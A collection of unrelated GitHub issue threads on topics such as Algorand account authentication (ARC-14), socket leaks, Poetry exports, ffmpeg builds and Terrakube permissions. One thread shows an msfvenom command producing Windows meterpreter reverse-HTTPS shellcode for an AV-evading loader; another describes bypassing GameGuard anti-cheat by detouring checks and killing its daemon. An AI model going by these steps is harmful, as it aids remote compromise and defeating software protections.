ARC-0031 : User Authentication with Algorand accounts

I have put toghether some of the comments from #41 , proposing a more structured authentication standard based on Algorand accounts

Just finished a first complete read. At first glance it looks comprehensive, consistent and pretty detailed.

Looks great, I like that its got a fallback of use on a transaction for wallets that don't have the ability for arbitrary bytes. If and when they do, we'll want to ask that they don't prepend the MX domain separator for auth requests.
Have you tried to have a message signed with the special genesis hash/id on any of the wallets?
@yigitguler Is this something pera wallet can support?
@fabrice102 would you mind giving this a read through?

If an account is rekeyed, is a message supposed to be signed by the original key or by the new key?

@jannotti ARC-14 only works for standalone accounts. We have the assumptions:
- Multisig and LogicSig are not supported;
- Users MUST NOT use rekeyed accounts.

Guys, the original arc-0014 was meant to solve the issue of checking authorized user at the backend. So please give back the features which are already implemented. If noone has anything implemented in this ARC please do not brake the original proposal for me.
What i have implemented is:

www.globdrem.com .. its already about the year since i am using this authentication
https://github.com/scholtz/AlgorandAuthenticationDotNet .. implementation in .net .. there is a nuget i dont know how many people is already using it
https://github.com/scholtz/HasuraAlgorandAuthWebHook .. implementation of authorization to hasura graphql server
https://www.diatomix.xyz/ https://github.com/Diatomix/Diatomix-frontend .. example on how to get the auth message from PeraWallet, Algosigner, MyAlgo wallet or mnemonics and use it with websocket feed to graphql
https://github.com/scholtz/AlgorandKMDServer .. the KMD server proxy to algod server. https://github.com/scholtz/AlgorandNodes/blob/main/kubernetes/kmd-fi/h2-deployment.yaml https://kmd.h2.a-wallet.net/swagger/

See the video for example how user does not even need to notice he is using authorized requests.. https://youtu.be/cSJjmnzvvLY
What i do not like right now with this process is that it takes too long to publish any ARC, that many people comes and tries to change the subject of the ARC, and braking changes such as removal of SigTx or inability to handle the session timeout with backward compatibility.

An ARC stands for an Algorand Request for Comments.  If you don't want
comments, and just want to write down that you've implemented something,
you can certainly do so, but that's not an ARC. But if your intent is to
gain a consensus around a standard, you should expect input when you
"Request Comments".  Unfortunately, standardization is annoying and hard.
It sounds like you are actually asking for others to implement something
exactly as you chose to implement it, before requesting comments.  That's
probably even harder than a standardization process.
On Fri, Sep 23, 2022 at 4:07 PM Ludovit Scholtz @.***>
wrote:

Guys, the original arc-0014 was meant to solve the issue of checking
authorized user at the backend. So please give back the features which are
already implemented. If noone has anything implemented in this ARC please
do not brake the original proposal for me.
What i have implemented is:

www.globdrem.com .. its already about the year since i am using
this authentication
https://github.com/scholtz/AlgorandAuthenticationDotNet ..
implementation in .net .. there is a nuget i dont know how many people is
already using it
https://github.com/scholtz/HasuraAlgorandAuthWebHook ..
implementation of authorization to hasura graphql server
https://www.diatomix.xyz/
https://github.com/Diatomix/Diatomix-frontend .. example on how to get
the auth message from PeraWallet, Algosigner, MyAlgo wallet or mnemonics
and use it with websocket feed to graphql
https://github.com/scholtz/AlgorandKMDServer .. the KMD server
proxy to algod server.
https://github.com/scholtz/AlgorandNodes/blob/main/kubernetes/kmd-fi/h2-deployment.yaml
https://kmd.h2.a-wallet.net/swagger/

See the video for example how user does not even need to notice he is
using authorized requests.. https://youtu.be/cSJjmnzvvLY
What i do not like right now with this process is that it takes too long
to publish any ARC, that many people comes and tries to change the subject
of the ARC, and braking changes such as removal of SigTx or inability to
handle the session timeout with backward compatibility.
—
Reply to this email directly, view it on GitHub
https://github.com/algorandfoundation/ARCs/pull/84#issuecomment-1256626025,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AADL7T2NDE5RNL2GQFSBJQ3V7YEWLANCNFSM5TOM3NIQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

An ARC stands for an Algorand Request for Comments. If you don't want comments, and just want to write down that you've implemented something, you can certainly do so, but that's not an ARC. But if your intent is to gain a consensus around a standard, you should expect input when you "Request Comments". Unfortunately, standardization is annoying and hard. It sounds like you are actually asking for others to implement something exactly as you chose to implement it, before requesting comments. That's probably even harder than a standardization process.
…
On Fri, Sep 23, 2022 at 4:07 PM Ludovit Scholtz @.> wrote: Guys, the original arc-0014 was meant to solve the issue of checking authorized user at the backend. So please give back the features which are already implemented. If noone has anything implemented in this ARC please do not brake the original proposal for me. What i have implemented is: 1. www.globdrem.com .. its already about the year since i am using this authentication 2. https://github.com/scholtz/AlgorandAuthenticationDotNet .. implementation in .net .. there is a nuget i dont know how many people is already using it 3. https://github.com/scholtz/HasuraAlgorandAuthWebHook .. implementation of authorization to hasura graphql server 4. https://www.diatomix.xyz/ https://github.com/Diatomix/Diatomix-frontend .. example on how to get the auth message from PeraWallet, Algosigner, MyAlgo wallet or mnemonics and use it with websocket feed to graphql 5. https://github.com/scholtz/AlgorandKMDServer .. the KMD server proxy to algod server. https://github.com/scholtz/AlgorandNodes/blob/main/kubernetes/kmd-fi/h2-deployment.yaml https://kmd.h2.a-wallet.net/swagger/ See the video for example how user does not even need to notice he is using authorized requests.. https://youtu.be/cSJjmnzvvLY What i do not like right now with this process is that it takes too long to publish any ARC, that many people comes and tries to change the subject of the ARC, and braking changes such as removal of SigTx or inability to handle the session timeout with backward compatibility. — Reply to this email directly, view it on GitHub <#84 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AADL7T2NDE5RNL2GQFSBJQ3V7YEWLANCNFSM5TOM3NIQ . You are receiving this because you were mentioned.Message ID: @.>

Yes, if i develop something usefull, i may request standardization from it.. However if people decide to do braking changes to it, and have security gaps in it, what shall i do? I am refering on the Authorization SigTx info .. if my solution was to sign the tx with private key and use this for backend authorization and other does not want this in the standard, should i start new standard or should they better to create their own standard for use cases they feel they need to solve?
For example i have created the Vote Coin standard, and I am not going to do it as ARC right now because ARC process does not work.. I still need to do some updates to the Vote Coin standard and i really do not want to hastle the community for these changes that needs to be done... I believe that people should addopt standards as it is better for community. https://github.com/scholtz/AMS/blob/main/AMS-0001/AMS-0001.md

@scholtz
We will keep this version of ARC-14 for Authentication Only.
To discuss further the initial version which also handles a session part on the backend, the PR is now re-open Original PR.

@SudoWeezy
Sorry, I am a bit confused now. We have two open ARC-14 PRs at the moment, this one (https://github.com/algorandfoundation/ARCs/pull/84), and the previous one (https://github.com/algorandfoundation/ARCs/pull/41).
We have a number of comments on both and both seem to have gathered some consensus. What is the standardization process we should follow to move on?
cc @jannotti

@scholtz Could you argument more about the security flaws you see in the Transaction Authentication Message process? Thank you.

@scholtz Could you argument more about the security flaws you see in the Transaction Authentication Message process? Thank you.

I believe that invalidation of message should be taken only with setting fee = 0 and perhaps checking that it is not in any group.
genesis Id and Hash should be taken from the network it is supposed to be validated against .. eg mainnet network, testnet network or aramid network
valid from and valid until should be used to check the validity in forms of block at that specific network
usage of nonce in the message should be optional and preferably the note field should be easily readable by users when signing transaction (more simple is better)
To answer your question, i do not see there any security flaws.. I see there improvement how to make development and user friendlyness better.

Just to be clear: We do not want users to execute transactions on-chain (neither BetNet, TestNet, or MainNet). We are building here a cryptographic protocol which allows users to get authentication on web2/3 Verifiers (e.g. a backend) just by using their Algorand Accounts. TransactionAuthenticationMessages MUST NOT be executed on-chain. That's why we are making these transactions invalid.
Please note that this is the outcome of feedback gathered from your previous ARC, not just my own ideas.

Just to be clear: We do not want users to execute transactions on-chain (neither BetNet, TestNet, or MainNet). We are building here a cryptographic protocol which allows users to get authentication on web2/3 Verifiers (e.g. a backend) just by using their Algorand Accounts. TransactionAuthenticationMessages MUST NOT be executed on-chain. That's why we are making these transactions invalid.
Please note that this is the outcome of feedback gathered from your previous ARC, not just my own ideas.

I am fully aware of the info that the message MUST NOT be submitted to the blockchain. We can assure this with zero fee setup. What makes you stress this info for me?
The ability to verify rekey should be done with the backend to verify that signature of the content is valid. Algod right now does not allow this. Using algod does not mean that we are going to submit tx to the blockchain.

fee=0 is not enough. With pooled fees you can sign 0 fees txns and executed them in a group later on. For the rekey, both me and Joe already answered your question.

fee=0 is not enough. With pooled fees you can sign 0 fees txns and executed them in a group later on. For the rekey, both me and Joe already answered your question.

fee=0 is not enough. With pooled fees you can sign 0 fees txns and executed them in a group later on. For the rekey, both me and Joe already answered your question.

Though I suppose that comes with the caveat that if the authentication is for an Algorand account (as per arc title) then the verifier must be online.

fee=0 is not enough. With pooled fees you can sign 0 fees txns and executed them in a group later on. For the rekey, both me and Joe already answered your question.

You cannot submit signed transaction in group later.. The group is one of the parameter which is being signed.. If you submit two transactions at once where you want to take the fees and put to another, you must group them.. Right?
That is good news by Joe.. We can now secure rekeyed accounts.. With multisig we must somehow solve the multisig config to be published .. i recommend it to be inside the note field

You cannot submit signed transaction in group later.. The group is one of the parameter which is being signed.. If you submit two transactions at once where you want to take the fees and put to another, you must group them.. Right?

Right, we'd just need to check the group id is not set when verifying the signature.

You cannot submit signed transaction in group later.. The group is one of the parameter which is being signed.. If you submit two transactions at once where you want to take the fees and put to another, you must group them.. Right?

Right, we'd just need to check the group id is not set when verifying the signature.

@deanstef  is this confirmation enough to allow set fee to zero, check if the tx is not grouped, and we can use the valid from and valid until for expiry of the validity of the message?

You cannot submit signed transaction in group later.. The group is one of the parameter which is being signed.. If you submit two transactions at once where you want to take the fees and put to another, you must group them.. Right?

Right, we'd just need to check the group id is not set when verifying the signature.

@deanstef is this confirmation enough to allow set fee to zero, check if the tx is not grouped, and we can use the valid from and valid until for expiry of the validity of the message?

@scholtz We use the nonce to consider the message validity. For expiration -e.g. in case a message is generated but the user never signs- I would leve the Verifier decide when end whether a nonce is expired.
The rationale is the following: Simple Authentication Message does not have the validity fields. We should not change how the authentication work for simple/transaction messages.

Lets sum things up..
 This is the first step in any security process.
Authorization in system security is the process of giving the user permission to access a specific resource or function.
Source: https://www.okta.com/identity-101/authentication-vs-authorization/
In my post I will call original ARC-14 the ARC-14, and new replacement ARC-41
Differences beteween ARC-14 and ARC-41 are:
ARC-14 solves:

Authorization and Authentication
Validity of duration of message
Uses validTo/validFrom fields to make message outdated
Note field is readable by user
Open source application in production exists
Requires online checking of blockchain by server
Registration free account verification
https://github.com/algorandfoundation/ARCs/pull/41

ARC-41:

Authentication only
Uses nonce for non repeatable authentication
Requires server to handle session (for nonce)
Note field is in json format (harder to read by human)
No demo applications as of now
Offline use?
Registration free account verification
Extensible to FIDO or SSO?
https://github.com/algorandfoundation/ARCs/pull/84

There has been discussion about GDRP but none of these standards aim to do the Registration. Any extensions for gdpr compliance with pairing user to his public key (algo address) must go with the gdpr compliant way (agreement and constent published on website).
I recommend keep the ARC-14 number to be kept with original ARC, and the new ARC to be renamed to ARC-41 if there is no agreement on wheater we must use nonce or how users might handle the session.

Tried go through the (very long) conversation here to reorganise some discussed points.
I think the main debating point was: authentication of Public Keys VS Algorand Accounts.
My personal point of view is that this ARC should focus on the authentication of Algorand Accounts. A Public Key is not an Algorand entity until it interacts with the blockchain for the very first time (excluding the edge case of 0 balance Accounts signing through Fee Pooling): here we are trying to define an Algorand authentication standard.
This being said, I see the following cases:

Algorand Address associated to Standard Account (not Rekeyed), signature: Address Private Key;
Algorand Address associated to Rekeyed Account, signature: AuthAddress Private Key;
Algorand Address associated to a Contract Account, signature: SmartSig;
Algorand Address associated to an Application, signature: Smart Contract;
Algorand Address associated to MultiSig, signature: K out of N Addresses Private Keys.

As a verifier, by just looking at the Algorand Address "offline" I can not say which of the 5 cases I'm in front of.
As a verifier synchronised with a network, I can "look up" the Account "online" and see if it was Rekeyed or not. Just with an Account "look up" operation, without inspecting transactions (if any), I can not say whether I'm in front of a Standard, Contract, Application or MultiSig Account.
Supposing the verifier always performs an "online look up" operation, as a step of the authentication process, we have the following possibility:

Account has not been Rekeyed -> Challenge Account's Address;
Account has been Rekeyed -> Challenge Account's AuthAddress;
Contract Account -> Challenge Account's Address even if will never get a proper signature, which is fine since we are not interested in authenticating Contract Accounts;
Application Account -> Challenge Account's Address even if will never get a proper signature, which is fine since we are not interested in authenticating Application Accounts;

The only open point is the case 5.: should the standard consider MultiSign authentication? How?

The only open point is the case 5.: should the standard consider MultiSign authentication? How?

The other key point is that aside from case 5, you don't need anything to be signed at all.  Introducing UI changes to the wallet such that either transactions are signed or auth messages are signed introduces security challenges that need not be there. For example, a spoof authentication message may be sent when someone is trying to sign an opt-in transactions. Or a transaction may be sent instead of an authentication message. The challenge could simply be an ECIES encrypted message sent from server to AuthAddr/Account with a one time auth code valid for 5 minutes.

What's the proposed way forward for this ARC? It is an important standard, I think it should be finalised for wallet developers to start implementation.
@SudoWeezy

After read some document , my question is : Why don't use  NFT for auth ? Some month ago , Tinyman use this for verification  access to special  swap.
If specific NFT is present ----> then  access and auth.

@lorenzopolidori This version of ARC31 is outdated. PTAL at the new PR #160.
@algowifi We do not want to involve blockchain calls for auth (apart from the rekey use case)


Disconnect and Reconnect causing files to be open

Hello,
Issue: When a client disconnects and reconnects, sometimes it is causing files to remain open.
Setup:
I am using client and server example from here: https://github.com/mrniko/netty-socketio-demo
I have made one modification in the server: ChatLauncher lines 21 onwards
                while (true) {                     data.setMessage("Sending new message at " + new Date());                     server.getBroadcastOperations().sendEvent("chatevent", data);                     Thread.sleep(2000);                 }
Reproduction Steps:
Run the ChatLauncher server and find its PID. Then do this:  lsof -p <pid_of_server> | wc -l && lsof -p <pid_of_server> | grep CLOSE_WAIT | wc -l
This command will tell you how many files are currently open by ChatLauncher and how many of them are in state CLOSE_WAIT

Start the server and client; send a message from client. Now you should see new messages come in
Refresh the page (new messages should keep coming)
Hit Disconnect
Check  lsof -p <pid_of_server> | wc -l && lsof -p <pid_of_server> | grep CLOSE_WAIT | wc -l
go to 2

As you repeat step 2 to 4, you will see that files in CLOSE_WAIT state gradually increases.
(example of TCP connections remaining open:
TCP localhost:XmlIpcRegSvc->localhost:56513 (CLOSE_WAIT))
Impact: This can be a problem in high frequency (connect/disconnect) systems since a linux server will very likely hit 4096 (standard limit) files open per process. Beyond this, the process will crash.

We were seeing a similar problem with too many open files so I attempted to reproduce this bug to see if it was the cause. It appears this issue no longer occurs, at least not with version 1.7.19--open sockets remain for ~30 sec and then are closed as expected.
The cause of our issue was ultimately found to be something outside of the socket IO library.


unknown escape when trying to generate the output file

I got the error when trying to compile the output
exit status 1: go list error: exit status 2: # Freeze/freeze_shell.exefldr
./freeze_shell.exe.go:120:40: unknown escape

raw shell is generate with
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=# LPORT=443 -f raw -o shell.txt

Hello,
for the -process flag you do not need to specify the path just the application name in system32. I also see you have a single quote between Windows and System32

Thank you. It worked now...at first the file didn't get deleted by Win defender, after execution, the Win Defender picked it up and deleted it.


1.1.2: regression with poetry export when using python version constraints.

[x] I am on the latest Poetry version.
[x] I have searched the issues of this repo and believe that this is not a duplicate.
[ ] If an exception occurs when executing a command, I executed it again in debug mode (-vvv option).

OS version and name: MacOS 10.15.5
Poetry version: 1.1.2
Link of a Gist with the contents of your pyproject.toml file: N/A

Issue
I have notice a regression compared to poetry 1.0.10 in the following case:

I add package dependency with a python version constraint ("typing-extensions")
I add a development dependency having the same sub-dependency with no python version constraint ("black").

The command poetry export give a wrong result with poetry 1.1.2 (it's OK with 1.0.10)
How to reproduce:
poetry new example
cd example
sed -i '/^python = /s/3.8/3.7/' pyproject.toml
poetry add --python="<3.8" typing-extensions
poetry export -f requirements.txt | grep typing
poetry add --dev black
poetry export -f requirements.txt | grep typing

Output for Poetry 1.0.10 (Python 3.8.6):
...
typing-extensions==<IP_ADDRESS>; python_version < "3.8" \
...
typing-extensions==<IP_ADDRESS> \

Output for Poetry 1.1.2 (Python 3.8.6):
...
typing-extensions==<IP_ADDRESS>; python_version < "3.8" \
...
typing-extensions==<IP_ADDRESS>; python_version < "3.8" \

original bug report seems not to be a regression but a fix: adding a dev-dependency should not affect the export of non-dev packages.  If we instead export --dev then the marker is relaxed as expected.
Example at https://github.com/python-poetry/poetry-plugin-export/issues/30#issuecomment-721439552 also works fine today: export gives
zipp==3.6.0 ; python_version >= "3.6" and python_version < "3.7"

and export --dev gives
zipp==3.6.0 ; python_version >= "3.6" and python_version < "3.8"

This is fixed.


Plugin complains about IP despite not being used

I have a Vagrant environment that uses no hostsupdater or goodhosts. It relies on bonjour/zeroconf for domains, not the hosts file.
Yet when I use vagrant up or vagrant halt, the goodhosts vagrant plugin intervenes with an error:
❯ vagrant halt
==> default: Running action triggers before halt ...
==> default: Running trigger...
==> default:
==> default: [vagrant-goodhosts] Removing hosts
==> default: [vagrant-goodhosts] Error adding some hosts, no IP was provided for the following hostnames:

No goodhosts APIs were called, requested, or desired. The plugin should not be outputting anything or doing anything, and yet it does. This should not happen. The vagrant-goodhosts plugin should only run when the vagrant-goodhosts plugin is used. Even then, if there are no hosts to remove, it should not attempt to remove them
This is with v1.0.8 and v1.0.7

Ideally I should check if there are goodhosts settings like @machine.config.goodhosts.aliases in https://github.com/goodhosts/vagrant/blob/2ada34a45e90cbe4e1dc08aa634d0f1d399541ba/lib/vagrant-goodhosts/Action/UpdateHosts.rb#L15 and execute the plugin.

Noting that this is still an issue, I created #19 to try and address this but it needs to be tested


TODO: MPI Builds?

CmdStan can support MPI through a few different flags, so it may be worth looking into building CmdStan on conda to take advantage of this.
There is a very clear guide on the KB about how to accomplish this in a fairly composable way.
That said, I'm very unfamiliar with MPI or how it is used by CmdStan. In fact, I'm not even sure if MPI needs to be present when CmdStan is built or if it just needs to be available when a model is compiled; if the latter is true, we don't need separate builds at all unless we really care about setting all the correct makefile defaults. @mitzimorris - do you know how exactly MPI is used by cmdstan?

Reference: https://conda-forge.org/docs/maintainer/knowledge_base.html?highlight=mesa#message-passing-interface-mpi


Build ffmpeg: ERROR: libmfx not found FIX

ERROR: libmfx not found

Usually it happens, if you forgot to specify pkg-config path
(default for manual build is /opt/intel/mediasdk/lib/pkgconfig,
and for apt-get is /usr/lib/x86_64-linux-gnu/pkgconfig):

export PKG_CONFIG_PATH=/path/to/mediasdk/lib/pkgconfig

If you try this above, but problem still present, try to install. apt install pkg-config.
It helps for me on Ubuntu 19.10.
MSDK were installed from packages.

Is libmfx.pc somewhere available on the system?

Yes
/usr/lib/x86_64-linux-gnu/pkgconfig/libmfx.pc

And what pkg-config --modversion libmfx outputs?

BTW, we have a dedicated Wiki:
https://github.com/Intel-Media-SDK/MediaSDK/wiki/Build-and-use-ffmpeg-with-MediaSDK

Hi @zhiga-rsp , do you have any news?

pkg-config --modversion libmfx
1.30

BTW, we have a dedicated Wiki page:
https://github.com/Intel-Media-SDK/MediaSDK/wiki/Build-and-use-ffmpeg-with-MediaSDK
I was going  this way in the start of setup

Alright. What is the output of ffbuild/config.log ?

Alright. What is the output of ffbuild/config.log ?
it needs  more time for reproducing

I have tried some step to solve this problem:
Step1. find your mfx.pc (mediaSDK)
$ ls `/opt/intel/mediasdk/lib/pkgconfig/`
libmfxhw64.pc  libmfx.pc      mfx.pc

Step2. vim ~/.bashrc
export PKG_CONFIG_PATH=/opt/intel/mediasdk/lib/pkgconfig/
Step3.source ~/.bashrc
Then this error could be fix.

On centos7.9, with ffmpeg 4.4, the same problem still exists.


Hyperlinks not loading in pdf view

In pdf view we have hyper links which needs to be open in browser while click on that hyperlink.

Can you provide hyperlinks support, then only it will be helpful to most of android developers. Or is there any library to support hyperlinks and open pdf file within app like our library.

It is not easy to introduce hyperlinks support so it won't be implemented in the near future. There are some paid libraries that should be able to open hyperlinks.


fix: Not working properly with flutter Bloc

Description
I'm using this List widget in a BlocBuilder and using cubit states
But seems it's not working correctly when state is changing.
Here is my code:
Widget build(BuildContext context) {
  return BlocBuilder<SearchCubit, SearchState>(
    builder: (context, state) {
      return InfiniteList(
        itemCount: state is SearchStateLoaded ? state.subtitles.length : 0,
        isLoading: state is SearchStateLoading,
        onFetchData: _fetchData,
        separatorBuilder: (context, index) => const SizedBox(height: 16),
        itemBuilder: (listContext, index) {
          return Placeholder();
        },
      );
    },
  );
}

Steps To Reproduce
I also checked if state is changing by printing the state and it's doing its job.
Expected Behavior
when _fetchData called state gets updated but loading and items count not updating
Additional Context
No response

@MuhammadAshouri thanks for opening an issue!
Can you provide a complete minimal reproductive sample that we can execute? Maybe as a standalone gist?
We've seen Bloc being used with InfiniteList in the past without any issues, so we need a complete minimal reproductive to assess the issue.

It's a simple cubit. But I wrote a gist with exact functionality of my project
https://gist.github.com/MuhammadAshouri/04bb5de5becc66ee3fcbf114ddf2971e

Your gist does not provide the SearchState class. But I suspect your state class does not have the correct equality operation implement and therefore bloc might not detect your state change the way you want it too. It would be amazing if you could provide a simple Flutter project with your reproduce-able problem, that way we can make sure it isn't this package.
But as @alestiago already mentioned we have used it with bloc before so I suspect it is your state class.

Hi @MuhammadAshouri, given that this is not an issue with the package and looks to be more of an implementation problem I'm going to close this issue as a "Won't Fix".
There is an infinite list example in the bloc documentation which may be a good place to start to solve your issue. It doesn't directly use this package but the concept is still the same.


{Role} Change "directory administrator" to "global administrator"

As far as I know there is no such thing as a Directory Administrator only a Global Admininistrator?
Description
Directory Administrator role does not exist.
Testing Guide

History Notes

[Component Name 1] BREAKING CHANGE: az command a: Make some customer-facing breaking change.
[Component Name 2] az command b: Add some customer-facing feature.

This checklist is used to make sure that common guidelines for a pull request are followed.

[ ] The PR title and description has followed the guideline in Submitting Pull Requests.

[ ] I adhere to the Command Guidelines.

[ ] I adhere to the Error Handling Guidelines.

Actually, this command has been deprecated (https://github.com/Azure/azure-cli/issues/12137#issuecomment-596567479).
But yes, Global Administrator is indeed the official name.

/azp run

Thanks @bartvermeersch.


Related Work

Hello Kris,
You might be interested reading Pascal Coste Filtered Dispatch paper : http://www.p-cos.net/documents/filtered-dispatch.pdf
It does similar things in Common Lisp :) Just replace :filter by dispatch and eql by when

Very cool. Will check this out and reference it in the README. Thanks!


Using @import in CSS without wrapping url() causes syntax highlighting to act weirdly

monaco-editor version: 0.23.0
Browser: Chrome
OS: Windows 10
Playground code that reproduces the issue:
@import 'https://example.com/test.css';

@import url('https://example.com/test.css');

I can reproduce this via https://microsoft.github.io/monaco-editor/ but not via https://vscode-web-test-playground.azurewebsites.net/

Looks to be fixed on https://microsoft.github.io/monaco-editor/ for me, thanks!


Team permissions by workspace

Feature description 💡
Currently TFC allows to set different permissions for different teams per each workspace. In this way, a team can be admin (or have write permissions, without fully admin) on some workspaces where the team is owner, while at the same have only read permissions on other workspaces where they're not owners. So to recap:

One or more teams should be assignable to each workspace
Each team assignation to a workspace should have its own set of permissions

Anything else?
It would be awesome to make the permissions more granular. Instead of just read/write, I would like to have read/write/admin. In fact, it would be even better to be able to customize every action possible (I mean, manage a workspace implies many actions that are all allowed at the same time when the manage permission is enabled), so with just read/write for each action we could define different roles that could achieve the read/write/admin and even more combinations.

+1 This is definitely needed. Looking to move our Enterprise from TFC to Terrakube and this is going to be a major pain point in convincing teams to adopt it.

+1

Hi @alfespa17 !
Sorry to bother you but, would you have an ETA for when do you think this will be available ? It appears to be really needed for us to manage our privileges :)
Regards !

Maybe in the next couple of weeks, I did some progress in this branch but I still need to validate several things because of the way elide manage security.

great ! thank you !

Hi @alfespa17 !
I also got a new idea, do you think it would be possible to allow teams to trigger only specific templates ? For instance, dev teams could only be able to trigger Plan template however, DevOps team have privilege to trigger any template ?
WDYT ?

While RBAC for templates could make sense, what I would do is to rely on operations (plan/apply/read-outputs/read-state/...) RBAC. What I mean is that templates are just pipelines of operations, so they will inherently have RBAC if the operations already have it.

Hmmm I'm not sure to follow your point ? Templates are set at organization level. Currently you can give rights to allow to run jobs on templates from UI but you can't for instance open plans from UI to devs and prevent them to run destroy template at the same time ?

If for a certain (workspace,team) tuple the operation (plan/apply/destroy/...) is not allowed, that template could both

be not available for that (workspace,team) tuple
be available, but fail at the step where the operation is not allowed for the given (workspace,team) tuple

Does this clarify what I meant?

Hmmm yep I get this part, but this is currently not possible to do that right ? Unless I missed smth

Oh yeah sure ! Agreed !

Not sure if I understand correctly, something like this to only allow certain teams to trigger the template?
onlyAllowToExecuteUsing:
  - Team1
  - Team2
flow:
  - type: "terraformPlan"
    step: 100
  - type: "terraformApply"
    step: 200

Could do the trick ! But it should be reflected and editable from the UI perhaps ?
Or we can store template privilege in the DB instead ? It would avoid having to modify templates ?

Could do the trick ! But it should be reflected (I mean you should not be able to trigger from UI then) and editable from the UI perhaps (with a similar interface to the current one for team privileges) ?
Or we can store template privilege in the DB instead ? It would avoid having to modify templates ?

The above was just an idea, it could be saved into the database too, or maybe add some reference in the workspace that is only allowed to run certain templates

The above was just an idea, it could be saved into the database too, or maybe add some reference in the workspace that is > only allowed to run certain templates

Hmmmm if we think about it I think we should be able to:
For instance: When we create a workspace we have the possibility to specify teams with a set of templates attached to it. This holds for the UI and for CLI as well. So let's I create a workspace and want dev to only be able to run plans we could specify a parameter like this to the workspace
permissions
{
    devops-team: [Plan_template_id, apply_template_id, destroy_template_id...],
    dev-team: [plan_template_id(on maybe we should use names ? idk what's best)]
}

By default no permission are specified and if left empty the workspace is free to access for everyone to perform any action.
I think it might create some conflicts with the current permission system where we already allow to trigger or not templates.
Let me know your thoughts ? Dunno if it's good idea !

You also need to consider that allowing to run certain templates will only work with VCS workspaces, the CLI driven  workflow in some way is "hardcoded" and you can only execute it if you have workspace permission

No issue ! we only use VCS workspaces !

Sorry to bother you guys, but if this template RBAC is not related to both teams and workspaces at the same time (the tuple I mentioned before), I'm afraid this discussion doesn't belong here

Sorry to bother you guys, but if this template-permissions topic is not related to both teams and workspaces at the same time (the tuple I mentioned before), I'm afraid this discussion doesn't belong here

Yeah maybe you can create a new issue to discuss it


routing

i've been looking into updating oro bypass. i have the disassembled output here:
https://github.com/hecris/CEMView/blob/master/examples/output.txt
seems like the offsets are still up-to-date, however oro is causing rumble fighter to crash.
this leads me believe that the jump instructions are outdated.
currently they lead to
https://github.com/hecris/CEMView/blob/master/examples/output.txt#L85
which you label as 'no errors detected'
is this correct?

Sorry I have no clue what you are talking about. O.o
On Wed, Nov 21, 2018, 10:32 AM Christopher He<EMAIL_ADDRESS>wrote:

i've been looking into updating oro bypass. i have the disassembled output
here:
https://github.com/hecris/CEMView/blob/master/examples/output.txt
seems like the offsets are still up-to-date, however oro is causing rumble
fighter to crash.
this leads me believe that the jump instructions are outdated.
currently they lead to
https://github.com/hecris/CEMView/blob/master/examples/output.txt#L85
which you label as 'no errors detected'
is this correct?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/neetjn/oro-bypass/issues/3, or mute the thread
https://github.com/notifications/unsubscribe-auth/AeEYFcAnKx2DZaYWWC4IL5debbF_BOKlks5uxXIDgaJpZM4YtW5W
.

@hecris I'll take a look at the client tomorrow and map out the security scanning routine. Given these snippets I can't accurately discern where we should be detouring to. The idea was essentially to jump/detour over any malicious checks and signal back to the GG daemon that everything's ok. I need to take a better look at the current client to ensure that this method will still work as well.

Very late, but I've taken a look at the bypass and the scans are accurate, what isn't accurate are a few of the check calculations.
ie;
this->gg_falsified = gg_check_sub + 0x110;

What this should be doing is getting the address where the conditional for the "GameGuard" falsified error. From there we can detour this error and route it back to the stub where the client renders the scan as complete.
That being stated, this subroutine is composed of a "while" loop running in another thread. Whether or not there's a cleaner way to bypass this security scan, I'm not sure. It may be possible to remove the calls from the client all together, but I'm not sure if there's another listener/routine expecting something.
I'm going to be working on an updated version probably this weekend, but I'll leave updates here.

Update: So after checking against a PE dump of the client, I've realized all the addresses are still valid. Going to dig around a little more. If anyone wants a dump of the latest client: https://hostr.co/tLHINSw7NTtR

@Sdsdsde2, the sub_check (or the GameGuard scan/check subroutine) address AoB is still the same. My pattern scanner allows you to specify the result:
DWORD find_pattern(DWORD dw_start, DWORD dw_end, const char *pattern, int result = 1)

Coincidentally, it's the first result.

An update: Bypass fixed by routing to new end stub. Client gets killed by the GameGuard daemon because of the unexpected responses. This can be bypassed by simply killing or suspending the daemon after the bypass has been executed.
The GG instance no longer seems to have a heartbeat, making this a complete bypass. This is likely due due RedFox's reduced budget . If anyone has any questions, feel free to contact me.

A simpler complete bypass:

Execute the bypass as defined in this project.
Kill communication between both the daemon and the client @ 0x51CD80 (this subroutine send a request to the daemon to see if the client is "ok", if the client is not "ok" or the daemon is not reachable the client will kill itself).
KIll the GameGuard daemons -> GameMon.des/GameMon64.des.

Hey john you had messaged me on discord a little while ago asked if I still played and I do, I see your working on the oro bypass, I have been focusing on school though I do play sparingly but I would be interested to see and test out what you’ve been working on.

Updated source released.


Ignore Aw Snaps Page

At times, I lose tracks of my tabs and due to memory issue I have to kill them or sometimes tabs get to aw snaps on their own. It would be great if we could have a small check box (selected by default) for Ignoring Aw snap pages.

I love the idea, thanks. That said, I'm not sure there's a way to detect if a tab has Aw Snapped except in the new experimental chrome.processes API that's only on the dev channel at the moment.

@BinaryMuse Cool then. I am sure once the API is publicly available, that would make fast-tab-switcher much more fun to use. But still Thank-You. it really saves my time :+1:


Add command to show post-install CMake usage instructions.

vcpkg shows helpful usage instructions for CMake after installing a package, however there isn't a command to show these instructions at a later date, afaik.
I think it would be helpful to add such a command.

If you run the install again, it won't do the work again, but it will display the instructions. I know this isn't what you want directly, but it is a short term.

@adam4813 : that's good news, I did not know that. Now fingers crossed for forgetting the correct triplet with a giant library. :) Thanks!

Hi @paul-reilly
Thanks for posting this issue.
Does this can meet your demands if you run install again to show the usage instructions?

Yes for me it's fine, now that I know! :)

Thanks for your update. In my opinion. the current status might be enough.
So I'm closing this issue for now.

I'm trying to find the usage instructions for the cairomm package, but "re-installing" only outputs a message stating that the package is already installed, rather than any information on linking or otherwise using it.

I'm trying to find the usage instructions for the cairomm package, but "re-installing" only outputs a message stating that the package is already installed, rather than any information on linking or otherwise using it.


Added macro for release build.

I Added macros for release build.
(on simple demo)

thank you for the fixes


Microsoft.WSLgPreview version 1.0.26

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?

[ ] Have you tested your manifest locally with winget install --manifest <path>?
[x] Does your manifest conform to the 1.0 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

